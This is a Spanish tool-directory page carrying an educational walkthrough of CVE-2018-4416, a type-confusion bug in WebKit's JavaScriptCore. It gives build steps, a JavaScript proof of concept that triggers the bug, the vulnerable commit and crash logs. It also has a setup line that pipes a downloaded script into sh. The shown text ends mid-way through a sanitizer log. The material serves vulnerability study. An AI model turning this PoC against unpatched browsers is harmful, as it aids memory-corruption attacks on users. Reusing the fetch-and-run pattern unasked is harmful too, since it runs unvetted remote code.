Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-4416-exploit — Recorrido educativo de CVE-2018-4416, una vulnerabilidad de confusión de tipos en WebKit JavaScriptCore, con PoC, configuración de depuración y análisis de técnicas comunes de explotación binaria en navegadores. | Kitploit
Herramientas/GitHubGitHub/erupmi/cve-2018-4416-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónRutas de Aprendizaje y CursosExplotación de Binarios
GitHub
erupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

Recorrido educativo de CVE-2018-4416, una vulnerabilidad de confusión de tipos en WebKit JavaScriptCore, con PoC, configuración de depuración y análisis de técnicas comunes de explotación binaria en navegadores.

Ver Repositorio
9315hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
  • Prefacio :PROPERTIES: :CUSTOM_ID: preface :END: De acuerdo, la seguridad binaria no solo se trata de /heap/ y /stack/, todavía tenemos mucho por descubrir más allá de los desafíos CTF habituales. El navegador, la máquina virtual y el kernel juegan un papel importante en la seguridad binaria. Y decidí estudiar primero el navegador.

Elegí uno relativamente fácil: /WebKit/. (ChakraCore podría ser más fácil, LoL. Pero hay un rumor sobre Microsoft cancelando el proyecto. Por lo tanto, decidí no elegirlo).

Escribiré una serie de publicaciones para registrar mis notas al estudiar la seguridad de /WebKit/. También es la primera vez que aprendo Seguridad de Navegadores, mis publicaciones probablemente tendrán muchos errores. Si los notas, no dudes en contactarme para corregirlos.

Antes de leerlo, necesitas saber: - Gramática de C++ - Gramática de Lenguaje Ensamblador - Instalación de Máquina Virtual - Familiaridad con Ubuntu y su línea de comandos - Conceptos básicos de teoría de compiladores


  • Configuración :PROPERTIES: :CUSTOM_ID: setup :END: Bien, comencemos ahora.

** Máquina Virtual :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Primero, necesitamos instalar una VM como nuestro objetivo de pruebas. Aquí, elijo /Ubuntu 18.04 LTS/ y /Ubuntu 16.04 LTS/ como nuestro host objetivo. Puedes descargar [[https://www.ubuntu.com/][aquí]]. Si no especifico la versión, por favor usa 18.04 LTS como versión predeterminada.

Mac podría ser una opción más apropiada ya que tiene XCode y Safari. Considerando el alto consumo de recursos de MacOS y las actualizaciones inestables, prefiero usar Ubuntu.

Necesitamos un software de VM. Prefiero usar [[https://www.vmware.com/][VMWare]]. Parallel Desktop y VirtualBox (Gratuito) también son adecuados, depende de tu hábito personal.

No te diré cómo instalar Ubuntu en VMWare paso a paso. Sin embargo, aún necesito recordarte que asignes tanta memoria y CPUs como sea posible porque la compilación consume una gran cantidad de recursos. Un disco de 80 GB debería ser suficiente para almacenar el código fuente y los archivos compilados.

** Código Fuente :PROPERTIES: :CUSTOM_ID: source-code :END: Puedes descargar el código fuente de WebKit de tres maneras: [[https://github.com/WebKit/webkit][/git/]], /svn/, y [[https://webkit.org/getting-the-code/][/archivo/]].

El gestor de versiones predeterminado de WebKit es svn. Pero elijo git (demasiado poco familiarizado con svn):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** Depurador y Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: El IDE consume muchos recursos, por lo que uso vim para editar el código fuente.

La mayoría de los trabajos de depuración que he visto usan lldb con el cual no estoy familiarizado. Por lo tanto, también instalo gdb con el plugin gef.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** Prueba :PROPERTIES: :CUSTOM_ID: test :END: *** Compilando JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compilar un WebKit completo lleva una gran cantidad de tiempo. Actualmente solo compilamos JSC (JavaScript Core), de donde provienen la mayoría de las vulnerabilidades.

Ahora, debes estar en el directorio raíz del código fuente de WebKit. Ejecuta esto para preparar las dependencias:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

Aunque aún no compilemos el WebKit completo ahora, puedes instalar las dependencias restantes primero para futuras pruebas. Este paso no es necesario para compilar JSC si no deseas invertir demasiado tiempo:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

Después de eso, podemos compilar JSC:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

Unos minutos después, podemos ejecutar JSC con:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

Hagamos algunas pruebas:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** Provocando Errores :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Ubuntu 18.04 LTS aquí #+end_quote

Usamos [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] para probar, aquí está el PoC. Guárdalo como =poc.js= en la misma carpeta de =jsc=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Iniciando la optimización. for (let i = 0; i < 500; i++) {

  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // El ID de estructura de "tmp" se almacena en un JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // El ID de estructura de "obj" es igual al de tmp.

      return obj[k];  // Confusión de tipos.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

Primero, cambia a la versión vulnerable:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote Puede tomar incluso más tiempo que compilar #+end_quote

Ejecuta: =./jsc poc.js=, y podemos obtener:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

Si ejecutamos esto en la última versión (=git checkout master= para volver, y eliminar el contenido compilado =rm -rf WebKitBuild/Relase/= y =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*,

Descargar herramienta